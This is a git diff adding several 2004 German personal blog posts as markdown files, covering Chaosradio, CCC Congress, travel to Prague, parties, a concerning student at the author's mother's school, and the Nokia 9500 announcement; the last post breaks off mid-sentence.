gestrige Chaosradiosendung glaenzte mit (fuer CR-Verhaeltnisse) guter Musik. Zweimal [ +Funny van Dannen, Wizo, Queen und Beatles](http://www.dasgenie.com/Pages/Chaosradio89.html). Den armen [Frank](http://frank.geekheim.de/archives/000676.html) hat es gleich zu [nostalgischen Anfaellen](http://www.nightlifeberlin.de/links.htm) hingerissen. Wenns auch nicht zu 100% was geworden ist, es +war/ist ein cooles Projekt, oder, um es mit Steini zu sagen "wer kann schon von sich behaupten, $Geldbetrag unter seinen Freunden verteilt zu haben?" Danke +Frank. + +In [seinem Blog](http://tim.geekheim.de/archive/000649.html) hat [Tim](http://tim.geekheim.de/) ueber den inflationaeren Gebrauch von +"like" im Englischen geschrieben. Irgendwann fiel mir aber in irgendeiner Chaosradiosendung auf, dass irgendwie auch Tim irgendwelche Fuellvokabeln in irgendwie +schon auffaelliger Form benutzt. Irgendwo muss ich aber zugeben, dass irgend* auch mir immer wieder unterrutscht. Muss ich irgendwie besser aufpassen. diff --git a/blog/2004/Kleinkunst.md b/blog/2004/Kleinkunst.md new file mode 100644 index 0000000..1857b9f --- /dev/null +++ b/blog/2004/Kleinkunst.md @@ -0,0 +1,6 @@ + + +Heute mal kein Essay, keine Retrospektive. Ich habe einen [Song](https://erdgeist.org/arts/music/Fine.mp3) fertig, mit dem ich schon seit einer Weile schwanger gehe. Wem es zu duester ist, der sei beruhigt, der hat wohl nur das Kaempferische nicht herausgehoert. Wem das der schlechten Aufnahmequalitaet wegen nicht gelang (ich habe das mit einem [iPAQ](http://www.google.de/search?q=ipaq) aufgenommen. [sorry, die Webpraesenz von Compaq/HP ist echt der Rotz und nicht verlinkbar]) der kann [hier](http://erdgeist.org/arts/music/Fine.txt) nochmal nachlesen. diff --git a/blog/2004/Mehr_Papis.md b/blog/2004/Mehr_Papis.md new file mode 100644 index 0000000..a333047 --- /dev/null +++ b/blog/2004/Mehr_Papis.md @@ -0,0 +1,8 @@ + + +Auch der liebe Steini ist Vater eines 0,00341 Tonnen schweren und +ungefaehr 0.000000000000000056022195782564539683586638220075 [Lichtjahre](http://www.magic-lunas-home.de/lichtjahre.htm) +langen Maedchens geworden. Trend erkannt. Glueckwuensche an die Eltern. diff --git a/blog/2004/Mit_dem_Schwert_nach_Polen.md b/blog/2004/Mit_dem_Schwert_nach_Polen.md new file mode 100644 index 0000000..49c4ffd --- /dev/null +++ b/blog/2004/Mit_dem_Schwert_nach_Polen.md @@ -0,0 +1,10 @@ + + +Beunruhigendes Gespraech mit meiner Mutter gehabt. Meine Mama ist Lehrerin an einem Gymnasium. Einer ihrer Schueler ist ein Kandidat fuer das [Ausleben von Gewaltphantasien](http://www.powow.com/steinhaeuser/) (link ist mit Vorsicht zu geniessen). Seine Mama ist der Meinung, der Junge _GEHOERE_ auf ein Gymnasium, ist Elternsprecherin, der Junge hingegen sammelt die Noten der schlechteren Zensurenskala. Natuerlich sind die Lehrer schuld, die den Jungen nicht genug foerdern, eine andere Schule kaeme zwar in Betracht, aber nur wieder ein Gymnasium. Der Junge ist natuerlich frustriert und weil es gerade in Mathe am deutlichsten hapert, ist meine Mutter Objekt der Projektionen von den Phantasien, die er bei SEINER Mama wohl nicht ausleben kann. Und ich sehe jetzt im Vorfeld, wie sehr sich meine Mama wirklich kuemmert, nur um dann von seiner Mama am Telefon angegiftet zu werden. Und wenn dann wirklich was passiert, dann ist die Schuldfrage schon vorher beantwortet. + +Was wirklich Angst macht: der Junge kommt ueblicherweise zu spaet, prahlt vor den anderen Schuelern mit den ueblichen Ankuendigungen, so dass diese sich schon genoetigt sahen, seinem Klassenlehrer bescheid zu geben. Er ist Mitglied in einem Schuetzenverein geworden und reagiert immer mehr mit hysterisch verstoertem Lachen. + +Und? Was macht man nun? Dies soll kein Eintrag sein, der nachher eine Rechtfertigung liefert, ála "hab ich doch vorher gesagt". Die Frage ist: Wie kann man a) dem Jungen helfen und b) meiner Mama in der Schule eine Kugel ersparen? Kommentare erbeten erdgeist at erdgeist dot org. diff --git a/blog/2004/Nikilausi.md b/blog/2004/Nikilausi.md new file mode 100644 index 0000000..6df9602 --- /dev/null +++ b/blog/2004/Nikilausi.md @@ -0,0 +1,24 @@ + + +Da ich heute morgen brav [meine Schuhe +geputzt](http://www.fotocommunity.de/pc/pc/display/250852) hab (vgl. [auch hier](pics/Drecksbotten.jpg)), habe ich, wie es sich fuer +einen ordentlichen Nerd gehoert, einen [neuen pgp-key](http://erdgeist.org/pubkey) +gefunden. + +Da ich ja, [ +aus gewissen Gruenden](http://www.haukeland.no/metodebokorto/Metodebok_leger/proksimale_femurfrakturer.htm) gerade viel Zeit zu hause verbringe, war es mir ein leichtes, die [ewigen Noergler](http://www.kanubbs.de/promotion/spreewald/lrb1/jutta.jpg) zu +besaenftigen und die [vierte Ausgabe](http://www.alkoholselbsthilfe.de/ash104.html) [des bunten Nerdmagazins](https://ds.ccc.de/) [fertigzustellen](http://www.cumschmidt.de/index.html?sm_diamant.htm). + +Dabei ist auch die interessante Taetigkeit bei einem wichtigen [Auftraggeber](http://www.paed.uni-muenchen.de/supra/schall/schall_untersuchen/material/3_2_2_ga_schnur.jpg) +nicht zu kurz gekommen. + +Neidischmachende [Bilder](pics/Thailand/) von meiner [Abschieds](http://www.die-billigbestatter.de/)-[feier](http://www.dieaerzte.de/akkorde/gabi.txt) und dem [Traumaufenthalt](http://www.radiobremen.de/online/service/reisen/europa/balkonien.html) +im [Ferienparadies](http://www.heute.t-online.de/ZDFheute/artikel/4/0,1367,HOME-0-2122596,00.html) +will ich natuerlich auch nicht vorenthalten, besonders [dies hier](http://erdgeist.org/stats/blog/pics/Thailand/CIMG1645.JPG) sollte man sich an +einem [nassen +Herbsttag](http://www.jusos-ratingen.de/kampflieder/lieder/geburtstag.htm) besser nicht geben. + +Jetzt kochen, danach [Kino.](http://www.single-generation.de/film_tv/kino_die_fetten_jahre_sind_vorbei.htm) diff --git a/blog/2004/Schlechtes_Gewissen.md b/blog/2004/Schlechtes_Gewissen.md new file mode 100644 index 0000000..3bc251d --- /dev/null +++ b/blog/2004/Schlechtes_Gewissen.md @@ -0,0 +1,132 @@ + + +Mit dem Blog schreiben ist das so ungefaehr wie mit Freunde +besuchen. Mag sein, dass es nicht jedem so geht, aber wenn _ich_ einen +guten Freund einen Monat nicht gesehen hab (und ich auch noch schuld +bin, weil ich "mit melden dran gewesen" waere), setzt ein Teufelskreis +ein: man druckst herum, man traut sich vor schlechtem Gewissen gar +nicht zu melden und will schiebt das immer noch ein bisschen raus, bis +mal genug Zeit ist, das Treffen dann wirklich zuenftig zu zelebrieren. +Je laenger man das sich melden nun erfolgreich nach hinten +rausgeschoben hat, desto schlimmer wird das schlechte Gewissen und wenn +man Pech hat, ist man irgendwann den guten Freund (dem es vielleicht +genauso geht) los. + +‰Also: zuerst war da dieser Geburtstag. Inzwischen habe ich das [bemitleidenswerte Alter](#2003_10_26_02_52_Altes) von Antenne +ebenfalls erreicht. Nichts zu beschoenigen, es geht weiter bergab. Rein +gefeiert wurde anstaendig bei Maulwurfskuchen, viel Bier und einem +Reisegutschein nach Prag und einem Geschenkgutschein fuer in Prag. Der +Tag selber gestaltete sich bierentsprechend wattig. Abends gabs noch +Besuch von Papa. Von den Eltern gab es unter anderem einen +Sandwichtoaster. Mag sich profan anhoeren, ist aber cool. In blau. +Harmonierend zu meinem Kuehlschrank und total nuetzlich fuer die +Ausgewogenheit meiner Ernaehrung. Party war dann mit Angrillen fuer zwei +Tage spaeter angesetzt. Zwischen durch gings dann zur Cebit. + +Ein Kollege drueckt mir einfach so eine Eintrittskarte in die Hand, +braucht er nicht, meint er. Zugtickets gabs von Firma, Unterhaltung +waehrend der Fahrt von [Frank](http://www.rosengart.de/) und +auf der Cebit die Begegnung mit alten Bekannten in lustigen Verkleidungen. +Ich kann mir nicht helfen, aber bei einigen Leuten sieht Schlips und +Juppe einfach nach Gebrauchtwagenverkaeufer aus. + +Wie bei jedem Nerd, der etwas auf sich haelt, fiel auch bei mir die Kritik +an den Hostessen negativ aus. Man weiss ja, frueher waren die alle noch +schnuckeliger, aber da war man noch jung und alles, was nach Doppel-X +roch, war bestaunenswert. Allerdings hoert man immer aus Dritter Hand, +dass es an $Stand doch noch welche gegeben haben soll, die zumindest... +hach ja. Seltsame Riten, die sich da eingebuergert haben. Frueher war man +da ja noch zum Mousepads, Maeuse und Hardware klaun. Diesmal bin ich echt +mit ein paar Broschueren zurueckgekommen. + +Tags drauf gabs chaotisches Party vorbereiten. Eigentlich wollte ich ja im +Goerli grillen, aber da wars deutlich zu frisch. Also nach hause verlegt +und vor dem Fenster Grill aufgestellt. David hat mich lieberweise noch zu +diversen Fleischlappenbesorgungsanstalten gekarrt, die Grillsaison ist +wohl noch nicht offiziell eroeffnet, da muss man schon noch suchen. +Getraenke und Nahrung kamen dann auch nicht ganz so guenstig, aber wer +achtet da schon drauf... Party lief ganz gut, war ziemlich voll, auch, +weil ich mit Steffi zusammengefeiert hab und ich war ziemlich flux +ziemlich abgeschossen. Macht man zwar nicht, auf der eigenen Party, aber +bot sich halt an. Aufraeumen hab ich bis heute noch nicht vollstaendig +geschafft, der Gestank ist aber schon draussen. Von Sari hab ich ein +wirklich echt cooles gerahmtes Foto von einer ihrer Fotosafaris bekommen, +das ich vor dem Aufhaengen nochmal scannen und hier verlinken +werde. + +Zwischendurch hatte ich noch so eine Situation im Wedding. Auf dem Weg mit +meinem Roller durch die urbane Nacht rannten mir Jugendliche entgegen, die +Strasse entlang. Einer vornweg, andere, offensichtlich osmanischer +Abstammung, hinterher. Neugierig, wie ich nun mal bin, hielt ich an. Das +bewog den Vornweglaufenden, auf mich zuzukommen. Er meinte nur, dass ich +ihn mal ganz dringend mitnehmen sollte, weil die anderen ihn gerade +verhauen wuerden. "Die anderen" kamen dann auch mit Lederguertel in der +Hand hinterhergerannt und rissen den jungen Mann von meinem Roller. Nach +dem naechste Aufsattelungsversuch rissen sie ihn zusammen mit meinem +Roller um. Fand ich gar nicht witzig und obwohl die 5 Jungs deutlich +groesser und vor allem breitschultriger waren als ich, liessen sie sich +doch von meinem ehrlichen und aufrichtigen Aerger, artikuliert und +verdeutlicht durch Aufplustern und Rumkeifen, zurueckschrecken. Die Zeit +reichte, Opfer und Moped zu schnappen und zur naechsten Tanke zu rollern. +Er hatte wohl beim Aussteigen aus dem Taxi seinen Freunden noch was +zugerufen, was sich die Clique wohl zum Anlass nahm, ihren "kruden +Ehrenkodizes" (Spiegel 13/2004) zu folgen und dem offensichtlich aus +Schwaben zugezogenen Studenten einen Zahn locker zu pruegeln. Ums kurz zu +machen: die 5 Typen kamen sogar zur Tanke hinterher, um uns nocheinmal +anzupoebeln und als der Tankwart drohte, die Polizei zu holen, +verdrueckten sie sich in die Nebenstrasse. Ich half meinem Passagier den +grossen roten Integralhelm ueber, wegen der Sicherheit des Schaedels und +brachte ihn noch nach Hause. + +Des Sonntags hab ich dann den Frank auf seiner Datscha in der Uckermark +besucht. 65km mit dem Moped die B2 runter sind bei diesem Wetter nicht die +allerreiste Freude. Andererseits ist der Preis von 6 EUR (also eine +Tankfuellung) unschlagbar. Das Anwesen da ist beeindruckend und deutlich +zum Abnerden im Spaetfruehling geeignet. + +Prag war fett. Kurz vor der Abreise habe ich noch ein wenig [Vorbereitung fuer das Chaosradio](files/SPAM) geschrieben, so +dass ich die Zugfahrt ausgiebig zum Schlafen nutzen konnte. Am Bahnhof +wurden wir sofort von einer aelteren Dame abgefangen, die uns nach einigem +Handeln fuer 8EUR pro Nacht und Nase in einem Zimmer ihrer Wohnung direkt +am Vaclavski namesti (also zentralst) unterbrachte. Zustand der Huette war +so lala, aber sehr nett mit angenagelten Jesussen und ungenagelten +Marien in _viel_ ausstaffiert. Der im Nachbarzimmer einquartierte +Amerikaner zeigte sich ein einziges Mal, fragte nach Feuer und nahm dann +gleich ein gutes Dutzend Streichhoelzer. Danach roch man nur noch die +unglaublichen Mengen Gras, die er weggeraucht haben musste, um wirklich +die gesamte Wohnung zu aromatisieren. - Dafuer war er aber auch +ruhig. + +Ueber die Erlebnisse in Prag koennte ich jetzt stundenlang referieren, +das wuerde aber den Rahmen sprengen, also nur kurz: die Stadt ist viel +teurer geworden. Bier fuer 25 Pfennig bekommt man nirgends mehr. Wetter +war okay. Touristen komisch bis anstrengend (jaja ich weiss, erdgeist +mittenmang). Man muss mittlerweile suchen, um noch "parek v rohliku" +oder auch Kettwurst zu bekommen, damals gabs die noch an jeder Ecke. Zum +Glueck kannte ich noch ein paar ruhige und versteckte Lokale aus meiner +Schulzeit, zum Beispiel eine riesige Terasse direkt unter der +Karlsbruecke, zu der man nur gelangt, wenn man einmal quer durch eine +schlechte Discotheque laeuft, was natuerlich kein Touri tut. Schlimm +ist, dass da so ab 1 (ausser dirket im Touristenepizentrum) alles +zumacht und man von 21 Uhr an nichts mehr zu Essen bekommt. Das brachte +meinen Schlafrhythmus deutlich durcheinander. Paar Bilder gibts [hier](pics/Prag/). Qualitaet erstmal schlecht, weil mit der +kleinen Taschenbillig-DV-Cam aufgenommen, Fotos kommen spaeter. Aber den +Geschenkgutschein habe ich [eingeloest.](pics/Prag/IMAG0004.JPG) Ich habe jetzt einen 1.20m +hohen [Krtecek](http://www.maulwuerfiges.de/Krtecek.htm). +Total cool. Total knuddelig. Und alle Maedels fliegen drauf. Naja, fast +alle. Also die wichtigsten zumindest. Nur das Nach-hause-tragen brachte +einige unangenehme physische Aspekte mit sich, da ich noch einen +schweren Reiserucksack buckeln musste. - Hat sich aber gelohnt. Wer auch +mal knuddeln kommen moechte, darf sich gerne melden, ihr werdet auf der +Liste plaziert. + +Zu guter Letzt war ich heute mit Frank den Teufelsberg in Berlin +besuchen. Da haben die Amis ihren Horchposten gehabt, nach der Wende +wollten da ein paar Bekloppte Wohnungen und ein Hotel reinbauen und nun +liegt das Areal vorerst brach. Das Gelaende gibt eine prima +Paintballumgebung ab und es gibt _wirklich wirklich_ viel zu entdecken. +[Hier](pics/Teufelsberg/) schonmal ein paar Bilder in low +quality, besser Bilder folgen. diff --git a/blog/2004/Sniff.md b/blog/2004/Sniff.md new file mode 100644 index 0000000..b785ab2 --- /dev/null +++ b/blog/2004/Sniff.md @@ -0,0 +1,6 @@ + + +Ich wuerde von mir nicht behaupten, [nahe am Wasser gebaut](http://www.na-starowje.de/Bilder/Fun/Heulsuse_Jancker.jpg) zu sein, aber als ich heute nach fast 4 Jahren meinen [Schreibtisch in der Firma geraeumt](http://www.recht-und-fuehrung.de/schule-management/themen-a-z/artikel05250.html) habe, hatte ich doch schon den einen oder anderen trockenen Klos im Hals. Nun ist aber alles verpackt und nach Hause gekarrt worden und ich kann getrost in den [Urlaub](http://www.bkk-gui.de/forum/) aufbrechen. diff --git a/blog/2004/Teil_I.md b/blog/2004/Teil_I.md new file mode 100644 index 0000000..673eb23 --- /dev/null +++ b/blog/2004/Teil_I.md @@ -0,0 +1,47 @@ + + +Viel ist passiert. Zuerst: seit dem letzten Eintrag ist mir Rudelweise +Hardware verreckt. Es ging los mit meinem Mailserver, der nach Einsetzen +einer neuen Batterie und ein wenig Peripherie nicht mehr booten wollte. +Eh mein Kumpel Andreas darauf kam, dass die neue Batterie das CMOS so +zurueckgesetzt hat, dass er nicht mehr von der System-SCSI Platte booten +wollte, zogen zwei Wochen ins Land. Danach hat es mein T20 erwischt. Aber +hier der Reihe nach. Ich habe, wie angedacht, den Congress des Chaos +Computer Club besucht. (Die haben da zum Congress nochmal das Haus des +Lehrers am Alex [beblinkt](https://www.blinkenlights.de/). +Diese Aktion schien besser organisiert, als der Congress selbst.) Als ganz +kurzfristig noch ein Vortragsslot frei wurde, habe ich mich breitschlagen +lassen, einen [Workshop](http://www.ccc.de/congress/2003/fahrplan/event/657.en.html) +zu fuehren. (Die Anzeichen klar legasthenischer Entgleisungen bei der +Projektbeschreibung muss ich klar dem ["Internetdirektor"](http://www.ostkreuz.de/ostkreuz/reportage/reportpicture/portrait/science/maguhnmw.html) +Andy Mueller Maguhn attestieren. Er hat sie von einer digitalen Vorlage +auf meinem 9210 abgetippt.) + +Der Workshop wurde ganz nett, erschwert eigentlich nur durch den Ausfall +des Backlights meines IBM Thinkpad. Ich sass am ersten Congresstag ganz +gemuetlich mit Constanze auf dem Boden irgendwo im [bcc](http:///www.bcc-berlin.de/) und waehrend ich laessig mein +Notebook aufklappen will, um mich an die Datenakquise zum Vortrag zu +machen... :) nein, kein wilder Unfall. Gar nix. Ueberhaupt nichts. +Einfach Display aus. Gut, meinen Umgang mit dem Notebook pfleglich zu +nennen, wuerde der Realitaet nicht gerecht. Aber zumindest hab ich ihn +nicht vorsaetzlich zu zerstoeren gesucht. Also kein Grund, sich so gemein +zu raechen. Schlimmer noch, dass ich bei mir zuhause, dank des gezielten +Zusammenbrechens des Regals im Flur und des daraus resultierenden +Zusammenpralls diverser schwerer Gegenstaende mit der Festplatte meines +ISDN-Routers, kein Internet mehr hatte. Da sich aber bei mir zu hause +Nerds vom Congress einquartiert hatten, hielt sich der Kummer in Grenzen +und im hoeflicherweise von Conz bereitgestellten Nachtlager gabz abends +und zum Fruehstueck noch lecker beruhigenden Tee. Den Vortrag habe ich in +der Firma mit viel Hilfe von David, Edmund und Gunnar fertig gemacht und +den Rest des Congress dank eines Spieleabends bei Frollein Marion und dem +daraus zwangslaeufig folgenden Kater mit einem schwammigen Gefuehl +verbracht. Die Praesentation wurde dann mit dem Leihnotebook von Philipp +(DANKE DANKE DANKE nochmal) gerettet, mt dem ich dann am Ende des dritten +Congresstags noch die FTP-Server leerlutschen wollte. Dummerweise wurde +aber schon ab 22:00 Uhr zusammengebaut, so dass gegen acht schon kein +einziger Server mehr an war. Schade eigentlich, denn ich weiss nicht, wann +ich in naechster Zeit nochmal soviel Daten so leicht auf einem Haufen +haben werde. diff --git a/blog/2004/Teil_II.md b/blog/2004/Teil_II.md new file mode 100644 index 0000000..745b94a --- /dev/null +++ b/blog/2004/Teil_II.md @@ -0,0 +1,67 @@ + + +Fuer [Silvester](http://bz.berlin1.de/aktuell/news/031231/knaller.html) +war ich in [Schwaben](http://www.die7schwaben-online.de/) +eingeladen. Ist immer nett dort, die Leute machen ihren Alkohol aus dem +liegen gebliebenen Obst [selbst](http://www.moonshiners.com/Moonshiners/still.html) +und man kommt ueblicherweise mit mehreren +[Kilogramm mehr auf den Rippen](http://tomster.org/blog/59) +heim. + +Da ich vom Tag noch was erleben wollte, bestellte ich fuer den 30. um +08:00 Uhr ein Mietauto und zu 08:30 Uhr Mitfahrer von der [Mitfahrzentrale](http://www.mitfahrzentrale.de). Da der letzte +Congress-Tag (wie schon beschrieben) nicht so lange ging, und ich nur noch +kurz in der [C-Base](http://www.c-base.de/) zur after congress +party vorbeigeguckt hab, war ich auch schon (fast vorbildlich) um halb +zwei im Bett. Nun gut. Auch das sind nicht die _optimalen_ Voraussetzungen +fuer 5 Stunden [Autobahn](http://www.swr.de/rasthaus/archiv/2003/04/05/print3.html), +aber da ich mir einen Audi A4 gelickt hab (oehm :), der das Fahren deutlich +entspannt macht, hielt ich die verbleibende Schlafenszeit fuer +angemessen. + +Da hatte ich nicht mit Andrea gerechnet, die mich um 05:30 Uhr (ja, +NACHTS!) [ +rotzbesoffen](http://www.region-online.de/bildung/ars/webbg/alkohol/leber.htm) aus dem Schlaf klingelte und mir eine Viertelstunde +lang zu schaffen machte, auch nur die geringsten grammatikalischen +Zusammenhaenge auf dem Wortstrom zu filtern. Von da an war an geruhsamen +Schlaf nicht mehr zu denken und ich kam +[geraedert](http://www.8ung.at/runestone/folter/folter.htm) bei +europcar an. Dort wurde ich erst fuer 10 Minuten hingehalten, dann musste +ich 10 Minuten auf einen Fahrer warten, der mich und noch zwei Kunden zu +einem Parkhaus fuhr. Hier bekam nun jeder sein Auto einzeln +herausgefahren. 20 Minuten und 3 Anrufe dreier Mitfahrer spaeter ich dann +auch meins. + +Die Fahrt war die Hoelle. Die Sonne schien wirklich _hell_ und auf dem Weg +nach Sueden und durch die geringe Sonnenhoehe im Winter schrie sie mir die +gesamte Fahrt ins Gesicht. Frontal. Unnachgiebig. Ich empfinde dieses +Verhalten als puren Hohn. Wenn sie schon ihre Arbeit so schlecht tut und +einen [bestaendig +frieren](http://perso.wanadoo.fr/dmtmcham/Old/DMTMD.html) macht, dann muss sie auch nicht dem unangenehmen +Blendeteil ihrer Taetigkeit nachkommen. - Kurzum, den Rest des 30. +Dezembers habe ich in der [Falle](http://www.bikersweb.ch/jokes/jan/bett.jpg) +verbracht. + +Zu Silvester wurden natuerlich Pfannkuchen (und zwar nicht [den](http://www.die-maus.de/spielen/rezepte/pfannkuchen/) sondern +[den hier](http://home.snafu.de/eberl/awards/pfannkuchen.shtml)), +Mandarinchen fuer den Sekt (_very_ ossi, indeed), [lustige Troeten](http://www.sonderheim.de/BilderAusflug.html), +Sekt und [Wunderkerzen](http://www.contextredaktion.de/linkseiten/karlkochzeit.htm) +erworben. + +Die Party konnte also steigen. Es ging auf den hoechsten Huegel der +Gegend. Mit 360° Panorama Blick auf die umliegenden Doerfer. Kurz vor +Mitternacht rumgetroetet. Um Mitternacht ging das Rumraketen ueberall los. +Sektaufmachen, Indiearmefallen, Frohesjahrwuenschen, Rumtroeten, +Wunderkerzenbrennen, der ganze Silvesterpathos. Und dann Ruhe. 10 Minuten +nach Mitternacht beschliesst der Durchschnittsschwabe, dass genug Geld +ausgegeben, der Durchschnittsboesegeist wohl fortgejagt und es Zeit fuers +Bettchen sei. Beeindruckend. + +Nachdem der Sekt ausgeschluerft war und die letzten Wunderkerzen als +Heiligenschein herhalten mussten, gings dann an der [zusammengerotteten](http://www.zusamm-rottung.de/) Dorfjugend +vorbei, heim. Der Abend offenbarte wieder Konditionsschwaechen bei mir und +fuehrte zu einem fruehen Jahresanfangsende. Jahr 2003 ist hiermit fuer +mich abgeschlossen. diff --git a/blog/2004/Von_wegen_nichts_erlebt.md b/blog/2004/Von_wegen_nichts_erlebt.md new file mode 100644 index 0000000..0139145 --- /dev/null +++ b/blog/2004/Von_wegen_nichts_erlebt.md @@ -0,0 +1,30 @@ + + +Die letzte Woche war gepraegt von viel Bier trinken, [flippern](http://tomster.org/blog/91), [flippern](https://outpost.h3q.com/blog/2004-02-15-02.blog) und [flippern](http://www.haecksen.org/~tina/archiv2004/02/index.html). Zudem war ich noch mit Andrea (die am Sonntag fuer ein paar Wochen nach Schwaben aufgebrochen ist) im [Feuermelder](http://www.zitty.de/gastro/finder/index.asp?subpage=3&ResID=1882) [flippern.](http://www.pinball.com/games/atmars/) Aergerlich hierbei ist nur dieser "5 Spiele fuer 2 EUR" Faktor. Eigentlich will man eine Flipperflatrate und am besten in Form eines eigenen. Ein kurzer Blick in das [Reallife Warez Trading Tool](http://cgi.ebay.de/ws/eBayISAPI.dll?ViewItem&item=3276178442&category=42787) verraet mir aber leider, dass mein [Haushalt](http://www.bundestag.de/mdb15/bio/E/eicheha0.html) diese nicht abzusetzende Investition gerade nicht hergibt. Zudem bin ich leider darauf angewiesen, einen Verkaeufer im Umkreis von [Berlin](http://www.berliner-stadtplan.com/) zu finden. Flipper gross und schwer, wissen schon. + +Ich habe mich ueberreden lassen, einen [Scheissfilm](http://imdb.com/title/tt0332379/) zu gucken. Aber nur, weil ich das Filmplakat erst im [Kino](http://www.luffa.nu/shock/kino.jpg) gesehen hab. Nicht. Nicht hingehen. Nicht hingehen und angucken. Nur meine Meinung. (Aber musste mal raus. Danke, Tina!) + +Zudem stand noch eine [Klausur](http://www.die-klausur.de/) in [Chemie](http://www.periodensystem.info/) an. War nicht so prall. Werd wohl zur Nachklausur nochmal [antanzen](http://www.ballerinagallery.com/) muessen. Korrelliert proportional mit meinem Vordiplom. Im Informatik-Institut gab es zum Abschluss einer [Ringvorlesung](http://www.informatik.hu-berlin.de/announce/2003/ringvorlesung.shtml) zu eingebetteten Systemen einen netten Vortrag von [Prof. Coy](http://waste.informatik.hu-berlin.de/coy/) ueber [RFIDs](http://www.digitalangelcorp.com/). Die Dinger druckt man inzwischen auf riesigen Rollen, wie Zeitung mit 2m/s, Plastik(halb)leiter auf Folie. Massenware und bald schon in [ deiner Milchtuete.](http://www.foebud.de/texte/aktion/rfid/index.html) + +Andrea hatte Geburtstag. Wir haben nett [reingefeiert](http://user.cs.tu-berlin.de/~werni/Bezirke/kreuzberg.html#franken). Ich hab mir ein nettes [luftiges Wochenende im Sommer](http://www.fantasycars.com/Mercedes_SLK/mercedes_slk.html) als Geschenk einfallen lassen. Ist hoffentlich angekommen. + +Am Samstag hatte [Schwesterherz](http://gutenberg.spiegel.de/grimm/maerchen/bruedchn.htm) Geburtstag. Familienfeier, das Uebliche. Schwager kennen gelernt. Windowsadmin aus [Wuppertal](http://home.t-online.de/home/Wolfgang-Arnold/kralle.htm). Im IRC kennengelernt. Weil mir immer keine bloeden Geschenke einfallen, gabs [Donauwelle](http://www.janko.at/Rezepte/Kuchen/Donauwelle.htm) (Vergleiche auch [hier](https://erdgeist.org/stats/blog/#2003_10_26_02_52_Altes)). Zum Geburtstag meines Papas im November wurde von einem Verwandten "Donauwelle" angeschleppt, die dem schwaebisch-patriotischen Empfinden von Andrea entgegenlief. Also konnten wir mit einer [leckeren](http://www.lohmiller.de/bilder/latz.JPG) Kaffeetischtorte aufwarten und zeigen, wie man das richtig macht. Leider hat der Kuchen beim Roller-Gepaecktrager gerechten Aufschneiden ein dem Transport ein wenig gelitten. Aber der Wille zaehlt. + +Der Abend galt dann [einer alten Schulfreundin](http://www.grips-theater.de/ensemble/doering_01.php), Manja. Hab ich vor einer Weile beim lustlos meinen [Dump des Telefonbuchs](https://ds.ccc.de/077/telefonbuch-hacken) Verifizieren entdeckt. Und angerufen. Und auf ein Bierchen getroffen. + +Dann gegooglet. Ich war es ja gewohnt, dass man zu allen Klassenkameraden eins, zwei google-hits findet, von denen einer immer dem Fussballverband Untersulzbach gehoert, in dem sich durch Zufall ein Spieler mit dem Vornamen und einer mit dem Nachnamen, den man gerade sucht, befindet. Der andere Hit ist dann zu 50% wirklich die gesuchte Person, die sich mit [tausenden anderer in den Weltraum schiessen lassen moechte](http://stardust.jpl.nasa.gov/overview/microchip/names2l12.html), oder irgendeine beruehmte Person, wobei das im Kontext "beruehmt in der internationalen Zuchtbullenbefruchtungsszene" zu sehen ist. + +Bei Manja schrillten gleich die Google-alarm-glocken. Naja, genug Privatsphaere zerstoert. + +Zumindest feierte sie den Umzug nach [Neukoelln](http://home.arcor.de/benjamin.ackers/images/bierbauch.jpg). Ziemlich coole Wohnung. Aber seltsame Party. Gleich beim Einzug in die Kueche polterte mich ein betrunkener Student an, dass ich doch bestimmt Elektrotechnik an der FH studieren wuerde und keine Freundin haette. Ich muss wohl ziemlich abgewrackt ausgesehen haben. Es stellte sich raus, dass der Typ gerade in Mathematik an der HU promiviert, meine Studienfaecher scheisse oede findet, Adlershof auch, sofort gemerkt hat, dass ich Ossi sei, ich naiv sei, weil ich nicht sofort bemerkt haette, dass er Wessi sei, was er in Wirklichkeit gar nicht war, sondern ein Nazi aus Rostock, der sich jetzt seine Haare langwachsen laesst, weil er dann seine politischen Meinungen eher herueberbringen kann. Er gab erst Ruhe, als ich meinte, dass, obwohl ich aus Marzahn bin, ich selber kein Nazi sein, diese frueher eher verhaun haette. + +Spaeter traf ich dann meinen alten Schulfreund Olaf, so ein Zwei-hit-wunder, wie ich grad merke. Mit dem habe ich damals betrunken in seiner Kueche gehockt und [schmutzige Lieder](https://erdgeist.org/arts/music/Sven.mp3) geschrieben. Dann kam wohl Bundeswehr und eine Ausbildung zur Versicherungskauffrau. Ich hatte Muehe, zwischen den pathetischen Platitueden und hilflosen Beschwoerungen des Spass' alter Zeiten, meinen Kumpel Olaf wiederzuerkennen. Schade. + +Ob der schlechten Musik und des eh schon erlebnisreichen Tages waren dann meine Kohorte (Antenne und Martin warn noch mit dabei) und ich schon relativ frueh abbruchreif. Gestern ist Andrea dann nach Schwaben aufgebrochen. Ich habe gelernt, dass man mit 3 grossen Rucksaecken nicht bequem auf dem Roller fahren kann und den Rest des Tages [Musik gemacht.](https://erdgeist.org/band/) + +Heute kam das offizielle Announcement von Nokia, dass sie in Q4 das [9500](http://www.nokia.com/nokia/0,6771,54108,00.html) herausbringen wollen. Fuer mich als Fan des Communicators lesen sich BlueTooth, WLan, GPRS (endlich!!! D1 kann naemlich nur HSCSD), nur noch die halbe Breite, Kamera und einen vernuenftigen Druckpunkt auf der Tastatur wie alles, was ich immer vermisst hab. Dass er nun auch IPSec sprechen wird, ist eigentlich nebensaechlich, da ich fuer die wichtige Kommunikation (mails lesen, ircen, etc.) [ssh](http://s2putty.sourceforge.net/) verwende. Was fuer ein Prozessor drin steckt, stand natuerlich nicht dabei, wie generell bei den neuen Telefonen. Also muss ich wieder benchmarken. (Bei meinen letzten Tests kam fuer alle Nokia Series 60 Telefone sowas im Bereich 140MHz StrongARM oder ARMT9, fuer p80x/p90x ein 206MHz ARM und fuer das 9210 ein 55 MHz ARMT9 heraus. [Die hier](http://www.mobileopera.com/9210) meinen, dass das 52MHz sein, also gar nicht so schlecht. Das wollte ich schon immer mal an exponierter Stelle veroeffentlichen. Wer das Benchmarkprogramm will, [mailt mir](mailto:erdgeist@erdgeist.org).) Das einzige Problem sind die 800EUR, die Nokia dafuer aufrufen will. Ich muss das also bei Zeiten in irgendein Projekt verpacken und mir von wem bezahlen lassen. + +Heute hat mir [Martin](https://www.weltregierung.de/home/) zum Rumbohren in der alten [Opalwunde](https://erdgeist.org/stats/blog/#2003_10_24_14_28_Hoffen_auf_Netz) die [Netzverfuegbarkeitskarte](http://www.gewerbeflaechenatlas.berlin.de/tkatlas_berlin/default.cfm) von Berlin unter die Nase gerieben. Wenn man ein wenig clickt, sieht man 